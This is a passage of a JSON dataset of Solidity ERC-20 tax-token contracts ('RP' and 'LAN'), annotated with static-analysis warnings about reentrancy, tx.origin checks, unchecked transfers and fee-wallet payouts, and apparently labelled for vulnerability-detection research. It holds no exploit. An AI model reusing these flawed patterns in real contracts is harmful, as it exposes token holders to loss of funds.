(immutable-states | ID: eb01b4c): RP.uniswapV2Pair should be immutable \n\t// Recommendation for eb01b4c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: d70ca55): RP.sellsPerBlock should be constant \n\t// Recommendation for d70ca55: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8dd75c): RP.buysFirstBlock should be constant \n\t// Recommendation for e8dd75c: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 034f13b): RP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 034f13b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 52570a9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 52570a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cce29f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cce29f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 52570a9\n\t\t// reentrancy-benign | ID: cce29f5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 52570a9\n\t\t// reentrancy-benign | ID: cce29f5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d75f8f8): RP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d75f8f8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cce29f5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 52570a9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bab198f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bab198f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: bb44d1d): RP._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for bb44d1d: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6842094): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6842094: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5512bf7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5512bf7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: bb44d1d\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: bab198f\n\t\t\t\t// reentrancy-eth | ID: 6842094\n\t\t\t\t// reentrancy-eth | ID: 5512bf7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bab198f\n\t\t\t\t\t// reentrancy-eth | ID: 6842094\n\t\t\t\t\t// reentrancy-eth | ID: 5512bf7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6842094\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6842094\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: bab198f\n\t\t\t\t// reentrancy-eth | ID: 5512bf7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bab198f\n\t\t\t\t\t// reentrancy-eth | ID: 5512bf7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5512bf7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bab198f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5512bf7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5512bf7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bab198f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bab198f\n\t\t// reentrancy-events | ID: 52570a9\n\t\t// reentrancy-benign | ID: cce29f5\n\t\t// reentrancy-eth | ID: 6842094\n\t\t// reentrancy-eth | ID: 5512bf7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a835646): RP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a835646: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bab198f\n\t\t// reentrancy-events | ID: 52570a9\n\t\t// reentrancy-eth | ID: 6842094\n\t\t// reentrancy-eth | ID: 5512bf7\n\t\t// arbitrary-send-eth | ID: a835646\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 52e83e0): RP.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 52e83e0: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 52e83e0\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bbb480b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bbb480b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d99490): RP.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1d99490: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b9d8942): RP.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b9d8942: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1dbc37e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1dbc37e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: bbb480b\n\t\t// unused-return | ID: b9d8942\n\t\t// reentrancy-eth | ID: 1dbc37e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bbb480b\n\t\t// unused-return | ID: 1d99490\n\t\t// reentrancy-eth | ID: 1dbc37e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bbb480b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1dbc37e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: bbb480b\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10785.sol",
"size_bytes": 22993,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract LAN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7d5e30e): LAN._taxWallet should be immutable \n\t// Recommendation for 7d5e30e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c36824): LAN._initBuyTax should be constant \n\t// Recommendation for 1c36824: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f0820c): LAN._initSellTax should be constant \n\t// Recommendation for 2f0820c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad48103): LAN._finBuyTax should be constant \n\t// Recommendation for ad48103: Add the 'constant' attribute to state variables that never change.\n uint256 private _finBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73e5955): LAN._finSellTax should be constant \n\t// Recommendation for 73e5955: Add the 'constant' attribute to state variables that never change.\n uint256 private _finSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cd18b8): LAN._redBTaxAt should be constant \n\t// Recommendation for 0cd18b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _redBTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 659ac67): LAN._redSTaxAt should be constant \n\t// Recommendation for 659ac67: Add the 'constant' attribute to state variables that never change.\n uint256 private _redSTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14af346): LAN._preventSwp should be constant \n\t// Recommendation for 14af346: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwp = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Lan Susamen\";\n\n string private constant _symbol = unicode\"LAN\";\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n uint256 public _maxTxAmount = 200000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a46a6a): LAN._taxSwapThreshold should be constant \n\t// Recommendation for 9a46a6a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 9000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 128d009): LAN._maxTaxSwap should be constant \n\t// Recommendation for 128d009: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000 * 10 ** _decimals;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8faac6): LAN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8faac6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 92e302b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 92e302b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 052875e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 052875e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 92e302b\n\t\t// reentrancy-benign | ID: 052875e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 92e302b\n\t\t// reentrancy-benign | ID: 052875e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d7c799f): LAN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d7c799f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 052875e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 92e302b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69c8466): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69c8466: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: a498596): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for a498596: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d837c59): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d837c59: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul((_buyCount > _redBTaxAt) ? _finBuyTax : _initBuyTax)\n .div(100);\n\n if (transferDelayEnabled) {\n _maxTxAmount = (_buyCount < _preventSwp)\n ? (_maxTxAmount).mul(99).div(100)\n : _maxWalletSize;\n\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: a498596\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _redSTaxAt) ? _finSellTax : _initSellTax)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwp\n ) {\n\t\t\t\t// reentrancy-events | ID: 69c8466\n\t\t\t\t// reentrancy-eth | ID: d837c59\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 500000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 69c8466\n\t\t\t\t\t// reentrancy-eth | ID: d837c59\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d837c59\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 69c8466\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d837c59\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d837c59\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 69c8466\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 92e302b\n\t\t// reentrancy-events | ID: 69c8466\n\t\t// reentrancy-benign | ID: 052875e\n\t\t// reentrancy-eth | ID: d837c59\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoveLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: da27280): LAN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for da27280: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 92e302b\n\t\t// reentrancy-events | ID: 69c8466\n\t\t// reentrancy-eth | ID: d837c59\n\t\t// arbitrary-send-eth | ID: da27280\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5473953): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5473953: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 05bf2e6): LAN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 05bf2e6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d8fa000): LAN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d8fa000: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0010a3d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0010a3d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5473953\n\t\t// reentrancy-eth | ID: 0010a3d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5473953\n\t\t// unused-return | ID: d8fa000\n\t\t// reentrancy-eth | ID: 0010a3d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5473953\n\t\t// unused-return | ID: 05bf2e6\n\t\t// reentrancy-eth | ID: 0010a3d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5473953\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0010a3d\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function ManualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 300000000000000) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10786.sol",
"size_bytes": 19573,
"vulnerability": 4
} |
{
